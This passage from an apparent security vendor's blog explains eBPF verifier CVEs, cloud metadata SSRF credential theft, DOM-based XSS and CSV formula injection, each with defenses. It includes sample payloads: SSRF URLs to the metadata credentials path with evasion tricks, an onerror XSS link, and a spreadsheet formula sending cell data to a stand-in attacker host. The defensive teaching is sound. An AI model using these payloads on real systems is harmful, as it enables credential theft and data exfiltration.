    An attacker built a register the verifier believed was pinned to a single safe value, usually zero, while the real value was attacker controlled. The program loaded a mystery number from a map, so its true value was hidden from static analysis, then used crafted 32 bit comparisons to trigger the faulty deduction. The verifier now trusted a bound that was a lie. Every pointer arithmetic step looked individually within limits to the verifier’s sanitation logic, but the combined offset walked the pointer clean out of the map. The result was an out of bounds read and write in kernel memory, and from there a path to administrative privileges. The fix corrected the 32 bit bounds deduction. The mitigation, the same one that applies to this whole class, was setting kernel.unprivileged_bpf_disabled to stop unprivileged users from loading programs at all.

    CVE-2021-3490: ALU32 bitwise operations

    A year later, CVE-2021-3490, also credited to Manfred Paul, hit the same soft spot from a different angle. The kernel had added explicit 32 bit, or ALU32, bounds tracking in 5.7. The bug was that the routines updating those 32 bit bounds for the bitwise operations AND, OR, and XOR did not always update them correctly. After one of these operations the 32 bit bounds could be left wider, or in the XOR case stale, compared to the truth the verifier should have derived from the operands.

    The shape of the exploit is the same as before because the underlying failure is the same. Produce a register whose tracked bounds are tighter than the real value, walk a pointer past the end of a map using offsets the verifier believes are safe, and you have an out of bounds primitive in the kernel. The advisory states the consequence directly: the mishandled 32 bit bounds could be turned into out of bounds reads and writes, and therefore arbitrary code execution. The fix corrected the bound updates for the bitwise ops. The pattern across both CVEs is hard to miss. The 32 bit side of bounds tracking, where a value has to be reasoned about as both a 64 bit and a 32 bit quantity, is where the abstract model keeps drifting away from reality.

    The speculative twist: when the model is right and the CPU still cheats

    There is a second family of verifier problem that is more unsettling, because here the verifier’s logic is correct and the hardware still betrays it. Spectre style attacks exploit speculative execution: a CPU runs past a branch before it knows the branch outcome, and a load done in that speculative window can pull data into the cache even though the result is later thrown away. A bounds check that the verifier proved sufficient does nothing during speculation, because the processor speculates straight past it.

    So an eBPF program the verifier honestly proved safe could still leak kernel memory through a cache side channel, by getting the CPU to speculatively read out of bounds and then measuring the cache. The verifier’s response was to grow new responsibilities. It now simulates speculative paths, the ones a mispredicted branch would take, and where it cannot rule out a speculative bounds bypass it inserts a speculation barrier, an internal nospec instruction not available to user space, to stop the CPU from running past the check. The proof had to expand from what the program does to what the silicon might speculatively do on its behalf. That is a much larger thing to prove, and it is still being hardened.

    Why this class of bug keeps coming back

    Look at the three failures together and a shape appears. In every case the verifier did not crash or obviously malfunction. It produced a confident, wrong answer. It proved a program safe that was not, because its model of a register disagreed, in one specific corner, with what the register would really hold. The attacker did not break the verifier. The attacker found the gap between the proof and the truth and lived in it.

    That is hard to stamp out for a structural reason. The verifier is doing abstract interpretation over a model with several representations of a value, full register bounds, 32 bit bounds, signed bounds, unsigned bounds, and the tnum, and it has to keep all of them consistent with each other through every arithmetic, bitwise, and comparison instruction. Each of those update routines is a small piece of mathematics that has to be exactly right for every input. One off by a corner case and the model says bounded where the truth says free. The 32 bit bounds CVEs were precisely that, twice, in the seam where 64 bit and 32 bit reasoning meet.

    Researchers have started attacking the verifier the way you would attack any safety proof, by checking the proof itself. Work like the range analysis verification effort takes the kernel’s bounds tracking functions and checks them against a reference using an automated solver, looking for any input where the verifier’s claimed bounds do not contain the real result. That is a sound way to find this bug class, because it targets the exact property that has to hold and that the CVEs violated: the abstract bounds must always be a superset of the concrete value, never a subset.

    The boundary that runs through a proof

    Strip away the registers and the tnums and the graph walk and one assumption is left holding the whole thing up. The kernel assumes that if the verifier accepted a program, the program is safe, and it then runs that program with full kernel privilege. Everything rides on the verifier’s answer being not just usually right but right for every value on every path, including paths the CPU only takes speculatively. The interesting bugs are never in the part of the proof that works. They live in the narrow place where the model and the machine disagree, a 32 bit bound that does not follow from a 64 bit one, a bitwise update that forgot a case, a check the silicon speculates past.

    That is the whole lesson, and it generalizes well past the kernel. Any system that decides to trust input because it proved the input safe is only as strong as the gap between what it proved and what is true. Finding that gap means understanding what the system assumes and then hunting for the case where the assumption quietly fails, which is exactly the kind of work an autonomous researcher built to test assumptions, rather than match known payloads, is meant to do. The verifier is one of the most carefully built proof engines in Linux, and it has still been wrong in ways that handed out the kernel. That is not a knock on the verifier. It is the nature of proving an untrusted program safe to run in ring 0.

    Frequently asked questions

    What does the eBPF verifier actually do?

    It is a static analysis engine inside the Linux kernel that inspects eBPF bytecode before it runs and tries to prove it is safe. It walks every reachable path, models what each register could hold using bit level tracking and numeric bounds, and rejects any program where it cannot show that all memory accesses are in bounds, the program terminates, and no uninitialized or pointer data leaks. Only a program it can prove safe is allowed to run in kernel context. The kernel documents the design at kernel.org.

    Why is the verifier a security boundary?

    On many systems an unprivileged local user can load some eBPF programs, and those programs run in ring 0 with full kernel privilege and no address space isolation. There is no system call wall to hide behind, so the only thing keeping that code from touching kernel memory is the verifier’s proof. If the proof is correct the user is contained. If the proof is wrong, the same user runs arbitrary code in the kernel, which is privilege escalation.

    How did bounds tracking bugs like CVE-2021-3490 lead to privilege escalation?

    The verifier proves a memory access is safe by tracking the range a register can hold. In CVE-2021-3490 the 32 bit bounds for the bitwise operations AND, OR and XOR were not updated correctly, so the verifier believed a register was more constrained than its real run time value. The attacker used that false belief to walk a pointer past the end of a map, giving an out of bounds read and write in kernel memory and a path to code execution. Details are in the NVD entry for CVE-2021-3490.

    Can the verifier stop Spectre style speculative attacks?

    Not by bounds checking alone. A CPU can speculatively run past a bounds check the verifier proved sufficient, do an out of bounds load, and leak the data through a cache side channel even though the result is discarded. To handle this the verifier now simulates speculative paths and, where it cannot rule out a speculative bounds bypass, inserts an internal nospec speculation barrier so the processor cannot run past the check. The proof had to grow from what the program does to what the hardware might speculatively do.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • Instance metadata service: the 169.254.169.254 credential leak

    Instance metadata service: the 169.254.169.254 credential leak

    The instance metadata service is a small web server that every cloud virtual machine can reach at one fixed address, 169.254.169.254, and it answers questions about the machine it runs on. Ask it nicely and it will hand back the instance ID, the network setup, the startup script, and, the part that matters most for security, a set of live cloud credentials for whatever role the instance was given. No password, no signature, just an HTTP GET from inside the box. That last detail is why a single server side request forgery bug in a web app can turn into a full cloud account takeover. This post takes the instance metadata service apart from the address up: why the magic IP exists, what lives behind it, how the credential handoff works, how attackers reach it, and the exact mechanics of the defense that AWS bolted on after it went badly wrong.

    Why there is a magic IP address at all

    Start with the address itself, because it is not arbitrary. 169.254.169.254 sits inside 169.254.0.0/16, the block reserved for link local addresses by RFC 3927. Link local means the address is only valid on the local network segment. A packet sent to it is never routed off the link and never leaves for the internet. Your laptop uses the same range when DHCP fails and it has to invent an address to talk to whatever is directly attached.

    Cloud providers borrowed that property on purpose. Every instance, in every account, in every region, reaches its metadata at the exact same IP. The address resolves to nothing on the public internet, so an instance can hardcode it and never worry about discovery. When the guest sends a packet to 169.254.169.254, the hypervisor or the host networking stack intercepts it before it goes anywhere and answers locally. There is no real server sitting at that address out in the network. The host is quietly impersonating one, on a link that only this instance can see.

    That design choice is elegant and it is also the root of the whole problem. The metadata endpoint is reachable by anything running on the instance that can open a socket. It does not check who is asking. It assumes that if a request arrived from inside the machine, the request is trusted. Hold on to that assumption, because every attack in this post is a way of making the metadata service answer a question on behalf of someone who is not trusted at all.

    What actually lives behind 169.254.169.254

    The metadata service exposes a tree of plain text, browsable like a tiny filesystem over HTTP. On AWS the root of the useful part is http://169.254.169.254/latest/meta-data/. Ask for it and you get a listing:

    ami-id
    block-device-mapping/
    hostname
    iam/
    instance-id
    instance-type
    local-ipv4
    mac
    placement/
    public-ipv4
    security-groups
    ...

    Most of this is housekeeping. instance-id and ami-id identify the machine and the image it booted from. local-ipv4 and mac describe its place on the network. placement/ tells you the availability zone. None of that is secret in any meaningful way. An automation tool reads these so it can configure itself without being told where it is running. This is the honest, boring purpose of the service, and it is genuinely useful.

    Then there is the iam/ branch, and this is where boring ends. Follow it to iam/security-credentials/ and the service lists the name of the role attached to the instance. Imagine a role called app-server-role. Ask for that name directly:

    GET http://169.254.169.254/latest/meta-data/iam/security-credentials/app-server-role

    and the response is a block of JSON that looks like this:

    {
      "Code": "Success",
      "Type": "AWS-HMAC",
      "AccessKeyId": "ASIAEXAMPLE7XYZ",
      "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
      "Token": "IQoJb3JpZ2luX2VjE...long base64 session token...",
      "Expiration": "2026-06-21T12:00:00Z"
    }

    Those three fields, AccessKeyId, SecretAccessKey, and Token, are a working set of AWS credentials. Anyone holding them can sign API calls as the instance role until the Expiration time. There is no extra factor and no challenge. The credentials are simply sitting there at a known URL, waiting for a GET.

    The credential flow: from role to STS to keys

    To see why credentials appear out of thin air, follow where they come from. When you launch an instance you can attach an instance profile, which wraps an IAM role. The role is a bundle of permissions, for example the ability to read objects in one S3 bucket. The role has no long lived password. Instead, the host runs an agent that asks AWS Security Token Service, STS, for temporary credentials that embody the role. STS mints a short lived key, secret, and session token, stamps them with an expiry usually a few hours out, and the agent parks them in the metadata service for the instance to read.

    This is a good design in isolation. The instance never stores a permanent secret on disk. The credentials rotate automatically before they expire, so a copy you steal stops working on its own. The application code does not even need to know the keys exist, because the AWS SDK reads them from the metadata service for you. The whole point is to keep secrets off the box and short lived. The flaw is not in STS or in rotation. The flaw is that the doorway to those credentials is an unauthenticated HTTP endpoint that trusts the caller by location alone.

    How the instance metadata service becomes an attack

    An attacker who already has a shell on the instance does not need the metadata service. They can read those credentials, but they could read your disk and your environment variables too. The reason this endpoint is dangerous out of all proportion is that an attacker does not need a shell. They need only a way to make the instance issue one HTTP request to a URL of their choosing. That primitive is called server side request forgery, and it is one of the most common bugs in web applications. We cover the general class in our writeup on server side request forgery, but the metadata service is its highest value target by a wide margin.

    Picture a feature that fetches a URL for you. A SaaS app, call it Acme Notes, lets users add a profile picture by pasting an image URL. The server fetches that URL and stores the image. The developer pictured users pasting links to photos. Nothing stops a user from pasting this instead:

    http://169.254.169.254/latest/meta-data/iam/security-credentials/app-server-role

    The server, doing exactly what it was told, fetches that URL from inside its own network, where 169.254.169.254 resolves to the metadata service. The JSON credential block comes back and gets stored or echoed where the attacker can read it. The attacker never logged in to the instance. They handed it a URL and the instance read its own credentials out loud. With those keys an attacker configures the AWS command line tool and now acts with the full permissions of the role, from their own laptop, anywhere in the world.

    The metadata service does not leak credentials because it is broken. It leaks them because it answers honestly, and the application was tricked into asking the question on the attacker’s behalf.

    Capital One: the textbook case

    This is not theoretical. In July 2019 Capital One disclosed a breach that exposed personal data from roughly 106 million credit card applicants across the United States and Canada. The attack chain is now a standard teaching example because every link in it is one of the pieces above.

    The entry point was a misconfigured web application firewall running on an EC2 instance, built on ModSecurity. The firewall could be coerced into making a request on the attacker’s behalf, a server side request forgery. The attacker pointed that request at 169.254.169.254 and pulled the temporary credentials for the role attached to the firewall instance, a role reported as ISRM-WAF-Role. That role had permission to list and read S3 buckets, far more access than a firewall needed. Using the stolen credentials the attacker listed and then synced the contents of more than 700 buckets to a machine they controlled. One SSRF bug, one over permissioned role, and an unauthenticated metadata endpoint combined into one of the largest financial data breaches on record. The instance was using the original version of the metadata service, the one with no token required, which is the version we look at next.

    IMDSv1 versus IMDSv2: the token dance

    The version Capital One used, now called IMDSv1, is a plain request and response. You GET a URL, you get the answer. That is the entire protocol. It is also exactly what makes SSRF so effective against it, because the one thing a typical SSRF bug can do is cause a GET to an attacker chosen URL. The bug and the defense were a perfect match for each other, in the attacker’s favor.

    AWS responded with IMDSv2, a session oriented scheme that is worth understanding precisely, because the defense is clever and it leans on what SSRF usually cannot do. Under IMDSv2 you cannot just GET the data. First you have to open a session by making a PUT request for a token:

    PUT http://169.254.169.254/latest/api/token
    X-aws-ec2-metadata-token-ttl-seconds: 21600

    The service returns a token string. The TTL header sets how long the token stays valid, with a maximum of six hours, which is 21600 seconds. Every later request for actual metadata must carry that token in a header:

    GET http://169.254.169.254/latest/meta-data/iam/security-credentials/app-server-role
    X-aws-ec2-metadata-token: <token from the PUT>

    When the instance is configured to require IMDSv2, a request with no token or an expired token is refused with 401 Unauthorized. Now look at why this stops the profile picture attack. A normal SSRF bug lets you control a URL. It does not usually let you change the HTTP method from GET to PUT, and it does not usually let you add an arbitrary request header like X-aws-ec2-metadata-token-ttl-seconds. The attacker can still make the server GET the metadata URL, but without a token that GET now returns 401 instead of credentials. The defense does not try to detect malicious URLs. It raises the bar from a single GET to a two step exchange that uses verbs and headers a forged request almost never controls.

    There is a second, quieter guard built into the same scheme. The PUT that mints a token is rejected if it carries an X-Forwarded-For header. That header is the fingerprint of a request that passed through a proxy, which is precisely the shape of many SSRF and open proxy attacks. If your forged request arrived by way of a proxy that stamped X-Forwarded-For, the token request fails before it starts.

    The hop limit, a defense at the IP layer

    IMDSv2 adds one more control that lives below HTTP entirely. The response to the token PUT is sent with an IP time to live, the hop limit, of 1 by default. Time to live is the field in every IP packet that counts down by one at each router and drops the packet when it hits zero. A hop limit of one means the token response can reach a process on the instance itself, but it cannot survive being forwarded even a single hop further.

    Why does that matter? A common modern setup runs containers on the instance, and a misconfigured container network can let a pod reach the metadata service through the host, adding a hop. With the default hop limit of one, the token packet dies before it reaches the container, so a compromised container cannot complete the IMDSv2 handshake through that extra hop. You can raise the limit with modify-instance-metadata-options when a legitimate setup needs it, but the safe default assumes the only thing that should be talking to the metadata service is the instance itself, not anything one network hop away.

    The same idea on the other clouds

    This is not an AWS quirk. The pattern is industry wide, and the same magic address shows up on the other major providers, which is worth knowing because a single SSRF payload is often tried against all three.

    Google Cloud serves metadata at 169.254.169.254 and at the friendlier name metadata.google.internal. Its defense is a required header: every request must include Metadata-Flavor: Google. A plain GET with no header is refused. The reasoning is the same as the IMDSv2 token, that a typical SSRF bug controls the URL but not the headers, so demanding a custom header filters out the forged requests that only know how to set a path.

    Azure uses the same IP and requires the header Metadata: true plus an api-version parameter on the query string. Again the shape is identical. The metadata is valuable, the endpoint is unauthenticated by network position, and the guard is a request element that a forged URL fetch is unlikely to carry. Three clouds, one address, and the same lesson about trusting a caller because of where it sits.

    When blocking the address is not enough

    A defender who learns about this attack reaches for the obvious fix: if a user supplied URL points at 169.254.169.254, reject it. That helps, but a naive string match is a speed bump, because the address can be written in many shapes and an attacker needs only one of them to slip through. The evasions are the difference between a filter that holds and one that only looks like it holds.

    The same address has many spellings. 169.254.169.254 is four bytes, and those bytes can be written as one decimal number, 2852039166, or in octal, or in hex, and many HTTP clients parse all of them back to the same destination. A blocklist that only knows the dotted form never sees the decimal one. AWS also serves the metadata service over IPv6 at [fd00:ec2::254] on newer instances, so a filter that only thinks in IPv4 misses an entire second door.

    Then there are the tricks that defeat checking the host at all. With DNS rebinding, the attacker controls a domain that resolves to a harmless address the first time the app checks it, then flips to 169.254.169.254 a moment later when the app actually connects. The validation and the connection see different answers. With a redirect, the attacker hands the app a URL on a domain that passes validation, and that server replies with an HTTP redirect to the metadata IP, which many fetch libraries follow on their own. The app checked the first hop and walked into the second. We pull that thread further in our writeup on open redirects, because the same trust in a validated host powers both bugs.

    There is also the case where the app fetches the URL but never shows you the result. That is blind server side request forgery. The metadata response comes back, but it lands in a log or a thumbnail the attacker cannot read directly. The attack is not dead, only quieter. The attacker arranges for the fetched credentials to surface somewhere reachable, a field that is displayed later or an out of band channel they control. Blind does not mean safe, it means slower.

    Once the credentials are out, the metadata service has done its damage and the attacker moves on. The first thing a careful attacker does with stolen keys is ask who they belong to and what they are allowed to touch, then map the blast radius before doing anything noisy. That is why least privilege on the role matters as much as blocking the address. The endpoint decides whether credentials leak. The role decides how much the leak is worth.

    How to actually lock it down

    The good news is that the controls stack, and none of them depend on finding every SSRF bug first. Defense in depth here is real, not a slogan.

    • Require IMDSv2 and turn IMDSv1 off. Set the instance metadata options so that a token is mandatory. This single change neutralizes the plain GET attack that took down Capital One. New instances can enforce it from launch, and you can flip existing ones with modify-instance-metadata-options.
    • Keep the hop limit at 1 unless a specific workload proves it needs more. If you run containers, prefer a setup that gives pods their own scoped credentials rather than reaching through the host.
    • Give the role the least privilege it can do its job with. The Capital One role could read hundreds of buckets it never needed. If that role had been allowed to touch only the one bucket the firewall required, the same SSRF would have leaked a far smaller blast radius. The metadata service handing out credentials is only as dangerous as the credentials it hands out.
    • Filter egress and block the metadata IP at the application layer. If a feature fetches user supplied URLs, refuse any request whose host resolves into the link local range, and do the check after resolving the name, not before, so a hostname that points at 169.254.169.254 cannot sneak past.

    The assumption that breaks

    Step back from the headers and the JSON and the one thing left is an assumption. The metadata service was built to trust any caller that reaches it from inside the instance, because in 2009 the inside of an instance was a place only you could be. The web application running on top of that instance quietly broke the assumption. The moment an app fetches a URL on a user’s behalf, the user can reach anything the app can reach, and the app can reach 169.254.169.254. The boundary everyone pictured, the wall around the instance, was not the boundary that mattered. The boundary that mattered ran through a profile picture field.

    That gap between what a system assumes about its callers and what an attacker can actually arrange is the kind of thing you find by asking what each component trusts and why, rather than by scanning for a known bad string. The metadata service is honest, the SDK is convenient, the role rotates its keys, and the sum of those reasonable parts is a path from one web request to a cloud account. Require the token, cut the permissions, block the address at the edge, and the most dangerous IP in your cloud goes back to being a boring configuration helper.

    Frequently asked questions

    What is the instance metadata service used for?

    It is a local endpoint at 169.254.169.254 that lets a cloud virtual machine read facts about itself, like its instance ID, network setup, and startup script, without being configured by hand. The dangerous part is that it also serves the temporary credentials for the IAM role attached to the instance, which is why it is a prime target once an attacker can make the machine send a request.

    How does SSRF lead to stealing cloud credentials?

    If an application can be tricked into fetching an attacker chosen URL, the attacker points it at http://169.254.169.254/latest/meta-data/iam/security-credentials/ and the server reads its own role credentials back. The endpoint trusts any caller on the instance, so a single server side request forgery bug becomes a full set of working AWS keys. This is the exact chain behind the 2019 Capital One breach.

    Does IMDSv2 fully prevent metadata attacks?

    IMDSv2 raises the bar a lot but is not a complete fix on its own. It forces a PUT request for a session token and a custom header on every read, which a typical SSRF cannot supply, so plain GET attacks fail. You still need least privilege on the role and egress filtering, because attackers chain redirects, DNS rebinding, and alternate IP encodings to reach the endpoint. AWS documents the scheme in its IMDS guide.

    Do Google Cloud and Azure have the same metadata risk?

    Yes, both serve metadata at the same 169.254.169.254 address and carry the same risk. Google Cloud requires a Metadata-Flavor: Google header and Azure requires Metadata: true, and like IMDSv2 those required headers exist to filter out forged URL fetches that only control the path. A single SSRF payload is often tested against all three clouds.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

    Try it yourself: SSRF IP and URL Normalizer lets you normalize a URL the way a vulnerable fetcher would and see what host it resolves to. It runs entirely in your browser, with no signup, and nothing you paste is ever uploaded.

  • What is DOM based XSS?

    What is DOM based XSS?

    If you already know the basics of cross site scripting, dom based xss is the variant that surprises people. The payload never reaches the server. The whole bug lives in client side JavaScript that reads attacker controlled input and writes it into the page in an unsafe way. The HTML the server sends can be perfectly clean, and the page still runs attacker code.

    What makes dom based xss different

    Stored and reflected XSS both pass through the server, which either saves the payload or echoes it back into the response body. So a server side filter, a template that escapes output, or a web application firewall all get a chance to see the input and stop it.

    DOM based XSS skips that path. The browser loads a clean page, then JavaScript on that page reads something the attacker controls and feeds it into a part of the DOM that turns text into code. The server may never receive the malicious value at all. This is why people call it a client side bug. The flaw is in the script the site already ships, not in any HTML the backend builds.

    In a dom based xss bug the dangerous step happens after the page has loaded, inside JavaScript the site wrote, using input the server may never see.

    Sources: where the attacker controlled input comes in

    A source is any place client JavaScript reads input that an attacker can influence. To find these bugs, learn the common sources by name and grep your code for them:

    • location.hash, the part of the URL after the #. The browser never sends this to the server, so it is the classic source for a bug the backend cannot see.
    • location.search, the query string. The server can read this too, but if JavaScript also reads it and writes it into the DOM, you have a client side path that bypasses server escaping.
    • document.referrer, the URL of the page that linked here. An attacker controls it by hosting the linking page.
    • postMessage data. A handler that trusts event.data without checking event.origin takes input straight from any page that can reach the frame.
    • Stored values like localStorage or a cookie that some other flow let the attacker set earlier.

    Sinks: where that input becomes code

    A sink is a DOM API that can turn a string into markup or executable code. Input from a source is only dangerous when it reaches a sink. Watch these:

    • innerHTML and outerHTML, which parse a string as HTML.
    • document.write and document.writeln, which inject HTML straight into the parser.
    • eval, setTimeout with a string, setInterval with a string, and the Function constructor, which run a string as JavaScript.
    • setAttribute when you set an event handler or an href that starts with javascript:.
    • jQuery sinks like $(el).html(value), and also $() itself when you pass it a string that looks like HTML.

    The bug is the join: a source flows into a sink with no encoding or validation in between. Find that flow and you have found the vulnerability. How the browser interprets a response can widen these sinks too, since a missing or weak content type lets the browser guess and run bytes you meant as data, which our free MIME sniffing checker inspects for you.

    A concrete example on Acme Notes

    Acme Notes is an invented app, a small site where people keep public notes. It is not a real product. The notes page shows a banner using the part of the URL after the #, so people can bookmark a link that greets them by name.

    Here is the vulnerable flow, source to sink:

    // SOURCE: location.hash, never sent to the server
    const name = decodeURIComponent(location.hash.slice(1));
    
    // SINK: innerHTML parses the string as HTML
    document.getElementById('banner').innerHTML = 'Welcome back, ' + name;

    With a normal link like https://acme-notes.example/#Riley the banner reads Welcome back, Riley and everything is fine. Now an attacker shares this link:

    https://acme-notes.example/#<img src=x onerror=alert(document.domain)>

    The browser loads Acme Notes, the script reads the hash, and innerHTML parses it into a real img element. The image fails to load, the onerror handler runs, and the script executes on the Acme Notes origin. A real attacker would replace the alert with code that reads the session token. The victim only had to click a link.

    Why server side filters do not catch dom based xss

    Look again at the link. Everything after the # stays in the browser. The server gets a request for / with no payload attached. So none of the usual server side defenses ever see the attack:

    • A web application firewall inspecting request bodies and query strings sees nothing, because the value is in the fragment.
    • A template engine that escapes output does not help, because the server never renders this value. The browser does.
    • Input validation on the API has no input to validate.

    Even when the source is location.search, which the server does receive, escaping it for the response body does nothing for a second, separate read by JavaScript on the client. The protection has to live where the bug lives, in the browser.

    How to fix it

    The fix is to keep attacker input as data on the client, the same principle as server side XSS, applied to DOM APIs. Here is the corrected Acme Notes banner next to the safe options:

    // FIX 1: textContent treats the value as plain text, never as HTML
    const name = decodeURIComponent(location.hash.slice(1));
    document.getElementById('banner').textContent = 'Welcome back, ' + name;
    
    // FIX 2: build nodes with safe DOM APIs instead of HTML strings
    const span = document.createElement('span');
    span.textContent = name;
    banner.append('Welcome back, ', span);

    Beyond that single line, these habits prevent the whole class:

    • Use textContent instead of innerHTML whenever you only need to show text.
    • Let a framework do the escaping. React, Vue, and Angular escape interpolated values by default, so the danger is the explicit escape hatch like dangerouslySetInnerHTML or v-html.
    • Turn on Trusted Types with a Content Security Policy header. It blocks strings from reaching sinks like innerHTML unless they pass through a policy you wrote: Content-Security-Policy: require-trusted-types-for 'script'. Our free Content Security Policy generator can build a strict policy with that directive included.
    • If you truly need to render user HTML, run it through a maintained sanitizer such as DOMPurify, or the built in Sanitizer API where it is available, before it touches a sink.
    • For postMessage, check event.origin against an allow list before you trust event.data.

    Self XSS and when it stops being harmless

    Some DOM sinks only fire on input the victim types into their own browser, like a value pasted into the developer console or a field only that user can edit. That is self XSS, and on its own it is low impact, because a person can only attack themselves. Treat it carefully though. Self XSS can be upgraded into a real attack when it is chained with another bug that delivers the payload for the victim, for example a way to seed localStorage or set a value through a separate request. A finding that looks self inflicted may become serious once you connect it to a second hole, so it is worth verifying the full chain rather than dismissing it.

    Finding these flows in practice

    Spotting dom based xss is source to sink tracing. List every source the page reads, follow each value through the code, and flag any that reaches a sink without encoding. This is tedious by hand because the flow can cross functions, event handlers, and third party scripts. For related input bugs and the broader XSS coverage on this site, see our injection and input category.

    The harder cases depend on how a page assumes its own data behaves, like a value that is safe in one handler and piped raw into a sink in another. Those gaps show up when you understand what the app expects, not when you replay a fixed payload list. This is exactly the kind of bug an autonomous researcher that tests an app’s assumptions is built to find and then prove with real evidence. Read more about that approach on our about page.

    Frequently asked questions

    How is DOM based XSS different from reflected or stored XSS?

    Reflected and stored XSS both pass through the server, which echoes or saves the payload, so server side filters and escaping get a chance to stop it. DOM based XSS happens entirely in client side JavaScript that reads attacker controlled input and writes it into the page, so the server may never see the malicious value at all. That is why the protection has to live in the browser.

    What are sources and sinks in DOM based XSS?

    A source is any place client JavaScript reads input an attacker can influence, like location.hash, location.search, or document.referrer. A sink is a DOM API that turns a string into markup or code, like innerHTML, document.write, or eval. The bug is the join: a source flows into a sink with no encoding in between.

    Why can a web application firewall miss DOM based XSS?

    When the source is location.hash, everything after the # stays in the browser and is never sent to the server, so a firewall inspecting request bodies and query strings sees nothing. Even with location.search, which the server does receive, escaping it for the response body does nothing for a second, separate read by JavaScript on the client. The PortSwigger Web Security Academy guide on DOM based XSS walks through these source to sink flows.

    Is self XSS always harmless?

    Mostly it is low impact, because a self XSS sink only fires on input the victim types into their own browser, so a person can only attack themselves. It stops being harmless when it is chained with another bug that delivers the payload for the victim, for example a way to seed localStorage or set a value through a separate request. It is worth verifying the full chain rather than dismissing it.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

    Try it yourself: CSP Evaluator lets you paste a Content Security Policy and see which directives actually stop XSS. It runs entirely in your browser, with no signup, and nothing you paste is ever uploaded.

  • What is CSV injection (formula injection)?

    What is CSV injection (formula injection)?

    CSV injection is a bug where attacker controlled text saved by your app turns into a live spreadsheet formula the moment someone exports the data and opens it. It is also called formula injection. The app itself looks fine and behaves correctly, which is exactly why this class of issue is so easy to miss.

    What is CSV injection (formula injection)?

    Spreadsheet programs treat a cell as a formula when its first character is =, +, -, or @. They do this for any file, including a plain CSV that your application generated. So if a user can store a value that starts with one of those characters, and that value later lands in an exported CSV, the spreadsheet will run it as code on whoever opens the file.

    The key idea is that the danger does not live in your web app at all. Your pages render the value as harmless text. The danger appears later, in a different program, on a different machine, after the data leaves your system. That gap between where the data is stored and where it is interpreted is the whole bug.

    The vulnerability is not in the value, it is in the moment a CSV cell stops being text and starts being a formula.

    A concrete example on Acme Notes

    Imagine a note taking app called Acme Notes. Users can set a display name. The app shows that name on the dashboard and never lets it break the page, so on the web it is perfectly safe.

    A user signs up and sets their display name to a value crafted to behave as a formula:

    Display name: =IMPORTDATA("https://attacker.example/x?d="&A2)

    On the website this is just a weird string. It sits in the database. It renders as plain text in the user list. Nothing fires.

    Now an admin opens the internal users page and clicks Export to CSV. The export writes one row per user, and the display name column contains that exact string. The admin double clicks the downloaded file and the spreadsheet opens it. The first character is =, so the cell is evaluated. Two outcomes are common:

    • Data exfiltration via web requests. Functions like IMPORTDATA, WEBSERVICE, or HYPERLINK can fetch a URL. The attacker concatenates the contents of a neighboring cell into that URL, so the spreadsheet quietly sends another user’s email or token to a server the attacker controls.
    • Command execution via legacy DDE. Older spreadsheet setups support Dynamic Data Exchange, where a cell starting with = could launch an external program. At a high level, a crafted cell asks the spreadsheet to start a process on the admin machine. Modern versions warn or block this, but legacy and misconfigured installs still run it.

    The person who gets hit is not the attacker. It is the admin who trusted an export from their own product. That is what makes formula injection worth taking seriously.

    Why this is an output encoding problem

    It helps to name the real defect. This is an output encoding bug, the same family as cross site scripting, just aimed at a spreadsheet instead of a browser. Your app accepted text and stored it correctly. The mistake happens when you write that text into a CSV without encoding it for the program that will read it.

    A browser interprets <script>. A spreadsheet interprets a leading =. In both cases the fix is the same shape: encode data for the context it is about to enter. A CSV opened in Excel or Google Sheets is an executable context, so it needs its own escaping.

    Why scanners often miss it

    Most automated scanners poke the live application and read the response. They look at rendered pages and API replies. By that measure Acme Notes passes. The stored name is escaped in HTML, there is no error, no reflected payload, no broken markup. The dangerous behavior only shows up after an export, in a separate program, triggered by a human action the scanner never performs. A pattern matcher that only watches HTTP responses has nothing to flag.

    The fix in code

    The reliable fix is at export time, because that is the context where the value becomes dangerous. When you build each CSV cell, neutralize any value that starts with a formula trigger. The common approach is to prefix risky cells with a single quote, or to escape the leading character so the spreadsheet treats the cell as text.

    Dangerous cell written straight to the CSV:
    =IMPORTDATA("https://attacker.example/x?d="&A2)
    
    Safe cell after sanitizing on export:
    '=IMPORTDATA("https://attacker.example/x?d="&A2)
    
    Sanitizer applied to every exported field:
    def safe_csv_field(value):
        text = str(value)
        if text and text[0] in ('=', '+', '-', '@', '\t', '\r'):
            return "'" + text
        return text

    Three layers work together:

    • Escape on export. Prefix any cell starting with =, +, -, @, a tab, or a carriage return with a single quote. This is the load bearing fix and it covers every field.
    • Validate on input where it fits. If a field has no business starting with a formula character, such as a display name or a phone number, reject or clean it when it is saved. Treat this as defense in depth, not your only control.
    • Set a safe export format. Quote every field, write a UTF8 byte order mark, and prefer a format that does not auto evaluate. Document that exports are data, not trusted spreadsheets.

    One caution. Prefixing with a single quote changes the displayed value slightly, so apply it during CSV generation rather than mutating the stored record. The database should keep the real value, and only the exported copy gets the guard.

    How to detect it

    You can find this yourself without any special tooling:

    • List every field a user can control: names, descriptions, notes, addresses, support messages.
    • Set one of those fields to a benign probe like =1+1 or =HYPERLINK("https://example.com","click").
    • Trigger every export path in the product, then open the file in a real spreadsheet and watch for a cell that evaluates instead of showing the literal text.
    • Check email reports and scheduled exports too, since those reach people who never see the app.

    If =1+1 shows up as 2, the field is injectable and your export needs the guard above.

    Where this fits in finding bugs

    Formula injection is a clean example of a flaw you only see when you understand how the data flows, from a user form to a stored record to an export to a spreadsheet on someone else’s machine. A checklist of known payloads against the live page will say everything is fine. This is the kind of assumption gap an autonomous researcher that tests how an app is actually used, rather than matching patterns, is built to find. For more on input handling bugs, see our injection and input category, and you can read what we are building on the about page.

    Frequently asked questions

